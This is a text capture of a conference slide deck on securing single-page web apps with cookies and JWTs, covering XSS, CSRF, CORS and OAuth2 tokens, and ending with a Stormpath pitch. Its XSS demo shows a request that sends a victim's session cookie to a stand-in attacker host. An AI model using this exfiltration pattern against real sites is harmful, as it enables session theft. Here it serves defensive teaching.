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Building Secure User Interfaces With JWTs
- 1. Building Secure User Interfaces With JWTs (JSON Web Tokens) Robert Damphousse @robertjd_ Lead Front-End Developer, Stormpath
- 3. About Me • Full-stack developer 10 years • Full-stack with JavaScript since 2011 (Node.js + Angular) • Currently leading JavaScript at Stormpath
- 4. About Stormpath • Cloud-based User Identity API for Developers • Authentication and Authorization as-as-service • RESTful API • Active Directory, LDAP, and SAML Integration • Private Deployments (AWS) • Free plan for developers
- 5. Talk Overview • Security Concerns for Modern Web Apps • Cookies, The Right Way • Session ID Problems • Token Authentication to the rescue! • Angular Examples
- 6. Structure of Modern Web Apps • Back-end: a RESTful JSON API • Client is usually an HTML5 Environment: • Single Page Apps (“SPAs”), e.g AngularJS, React • WebKit instance • “Hybrid” Mobile apps (Phonegap, etc)
- 7. Security Concerns for Modern Web Apps As a developer, you need to: • Secure user credentials • Secure server endpoints (API) • Prevent malicious code from executing in client • Provide Access Control information to the Client
- 8. The Traditional Solution, Session Identifiers
- 9. We accept username & password, then store a Session ID in a cookie and associate that session with the user.
- 10. Securing User Credentials: Session ID Cookie
- 11. • This is OK if you protect your cookies • Session ID Session User identity • Use a web framework like Apache Shiro or Spring Security to assert security rules, roles stored in a database.
- 12. Session ID Problems • They’re opaque and have no meaning themselves (they’re just ‘pointers’) • Session ID look up server state on *every request*. • Cannot be used for inter-op with other services • JWTs can help with this, but we’ll still use cookies
- 13. Cookies, The Right Way ®
- 14. Cookies, The Right Way ® Cookies can be easily compromised • Man-in-the-Middle (MITM) • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF)
- 15. Man In The Middle (MITM) Attack Someone ‘listening on the wire’ between the browser and server can see and copy the cookie. Solutions • Use HTTPS/TLS everywhere a cookie will be in transit • Set Secure flag on cookies
- 17. XSS Attacks This is a very REAL problem Happens when someone else can execute code inside your website Can be used to steal your cookies! https://www.owasp.org/index.php/XSS
- 19. XSS Attack Demo
- 20. XSS Attack Demo
- 22. XSS Attack Demo GET https://hackmeplz.com/yourCookies.png/?cook ies=SessionID=123412341234 Your browser is going to make this request: Which means..
- 24. XSS Attack – What Can I Do? Escape Content • Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own. • Client Side: Escape user input from forms (some frameworks do this automatically, read docs!)
- 25. XSS Attack – What Can I Do? Use HTTPS-Only cookies Set the HttpOnly flag on your authentication cookies. HttpOnly cookies are NOT accessible by the JavaScript environment
- 26. XSS Attack – What Can I Do? Read this definitive guide: https://www.owasp.org/index.php/XSS
- 28. Cross-Site Request Forgery (CSRF) Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) https://developer.mozilla.org/en- US/docs/Web/Security/Same-origin_policy
- 29. Cross-Site Request Forgery (CSRF)
Example: Attacker puts malicious image into a
web page that the user visits:
.. what happens?
- 30. Cross-Site Request Forgery (CSRF) • The browser complies, “The request is going to myapp.com, so I’ll happily send along your cookies for myapp.com!” • Your server trusts the cookies AND the user it identifies, and transfers the money!
- 31. Cross-Site Request Forgery (CSRF) Solutions: • Synchronizer Token (for form-based apps) • Double-Submit Cookie (for modern apps) • Origin header check (for extra measure)
- 32. Double Submit Cookie • Give client two cookies: (1) Session ID and (2) a strong random value • Client sends back the random value in a custom HTTP header, triggering the Same- Origin-Policy
- 33. http://myapp.com/login Login Username Password [email protected] ••••••••••••••• Login WWW Server (1) POST /login (2) 200 OK Set-Cookie: session=dh7jWkx8fj; Set-Cookie: xsrf-token=xjk2kzjn4; http://myapp.com/profile Kitsch mustache seitan, meggings Portland VHS ethical ugh. Messenger bag pour-over deep v semiotics, Portland before they sold out small batch slow-carb PBR PBR&B chia synth vegan bitters Brooklyn. (3) GET /profile (4) 200 OK Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 X-XSRF-Token: xjk2kzjn4; Hello, Yo Cookie == Header ?
- 34. WWW
Server
http://hackerzapp.com/
req.setHeader(‘X-XSRF-
Token’,’stolen token’)
BROWSER ERROR
No 'Access-Control-Allow-
XSRF-Token’ header is
present on the requested
resource.
GET http://myapp.com/profile
http://hackerzapp.com/
(1) GET /transferMoney? (2) 400 Invalid Token Server rejects forged requests, CSRF token header is missing Browser rejects forged cross-domain AJAX attempts Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 Cookie == Header ?
- 35. CORS Warning! BEWARE OF THIS ADVICE: Access-Control-Allow-Origin: * Access-Control-Allow-Headers:* DISABLES SAME-ORIGIN POLICY
- 36. Origin Header check • Browsers send Origin header • Tells your server where the request is coming from • Cannot be modified by JavaScript • CAN be modified by a malicious HTTP Proxy (use HTTPS!)
- 38. We’re about to go from here: ..to here
- 39. Token Auth – All you need to know Authentication is proving who you are The token is a way of persisting that proof JSON Web Tokens (JWTs) are a token format JWTs are often used for the access token and refresh token in Oauth2 workflows
- 40. JWTs are fun – let’s go!
- 41. JSON Web Tokens (JWT) In the wild they look like just another ugly string: eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJ pc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQo gImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnV lfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEj Xk
- 42. JSON Web Tokens (JWT) But they do have a three part structure. Each part is a Base64-URL encoded string: eyJ0eXAiOiJKV1QiLA0KICJhb GciOiJIUzI1NiJ9 . eyJpc3MiOiJqb2UiLA0KICJle HAiOjEzMDA4MTkzODAsDQogIm h0dHA6Ly9leGFtcGxlLmNvbS9 pc19yb290Ijp0cnVlfQ . dBjftJeZ4CVPmB92K27uhbUJU 1p1r_wW1gFWFOEjXk Header Body (‘Claims’) Cryptographic Signature
- 43. JSON Web Tokens (JWT) Base64-decode the parts to see the contents: { "typ":"JWT", "alg":"HS256" } { "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy” } tß´—™à%O˜v+nî…SZu¯µ€U…8H× Header Body (‘Claims’) Cryptographic Signature
- 44. JSON Web Tokens (JWT) The claims body is the best part! It asserts: { "iss": "http://trustyapp.com/", "exp": 1300819380, "sub": "users/8983462", "scope": "self api/buy" } Who issued the token When it expires Who it represents What they can do
- 45. Issuing JWTs • User has to present credentials to get a token (password, api keys). • Tokens are issued by your server, and signed with a secret key that is private. • The client stores the tokens, and uses them to authenticate requests
- 46. Verifying JWTs • Just check the signature and expiration time! Stateless authentication! • Token declares scope, make authorization decisions locally. • But.. How to revoke stateless authentication?
- 47. Storing JWTs • Local Storage is not secure (XSS vulnerable) • Use HttpOnly, Secure cookies to store access tokens in the browser. • Cookies provide an automatic way of supplying the tokens on requests • CSRF protection is essential!
- 48. JWT + OAuth2
- 49. JWT + OAuth2 • OAuth2 (RFC 6749) is an “Authorization Framework” (and a good sleep aid). • It defines the “Resource Owner Password Credentials Grant” • In other words: exchange username and password for an access token and refresh token
- 50. JWT + OAuth2 • The access token has a short lifetime, and can use stateless trust – a signed JWT! • The refresh token has a long lifetime and is used to obtain more access tokens. Access tokens should can be revoked (database).
- 51. The Access Token and Refresh Token paradigm is designed to give you control over the implicit-trust tradeoff that is made with stateless tokens
- 52. Access & Refresh Tokens Refresh token sets the maximum lifetime of the authenticated context. Authentication token sets the maximum time of the stateless authentication context Authentication context is revoked by revoking the refresh token
- 53. Examples • Uber-secure banking application (want to force user out often): • Access token TTL = 1 minutes • Refresh token TTL = 30 minutes • Mobile/social app (user should “always be logged in”) • Access token TTL = 1 hour • Refresh token TTL = 4 years (lifetime of mobile device)
- 55. Angular App w/ Login Form
- 56. Login makes POST to /login POST /login Origin: http://localhost:9000 username=robert%40stormpath.com &password=robert%40stormpath.com
- 57. Server Response HTTP/1.1 200 OK set-cookie: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJ IUzI1NiJ9.ZJD3YlPMq38IcxN335Umeflnte1nFPDEvoSl26rSXk g…; Expires=Wed, 13 May 2015 07:15:33 GMT; HttpOnly;Path=/; set-cookie: refresh_token=eyJ0iI2NldURFJVJkNZhbGciO iJIUzI1NiJ9.9ybXBhdGguY29tL3YxL2FwcGxpY2F0aW9ucy8…; Expires=Wed, 13 Jun 2015 07:15:33 GMT; HttpOnly;Path=/;
- 59. Server Request Handler – Auth Logic • Is the access token valid (signature & expiration)? • Yes? Allow the request • No? Try to get a new access token, using the refresh token • Did that work? • Yes? Allow the request, send new access token on response as cookie • No? Reject the request, delete refresh token cookie
- 60. Recap
- 61. • Cookies need to be secured! • JWTs are an improvement on the opaque session identifier. • Access Token + Refresh Token is as useful strategy for scaling. • OAuth2 will put you to sleep.
- 62. Thanks!
- 63. Use Stormpath for API Authentication & Security Our API and libraries give you a cloud-based user database and web application security in no time! Get started with your free Stormpath developer account: https://api.stormpath.com/register Questions? [email protected]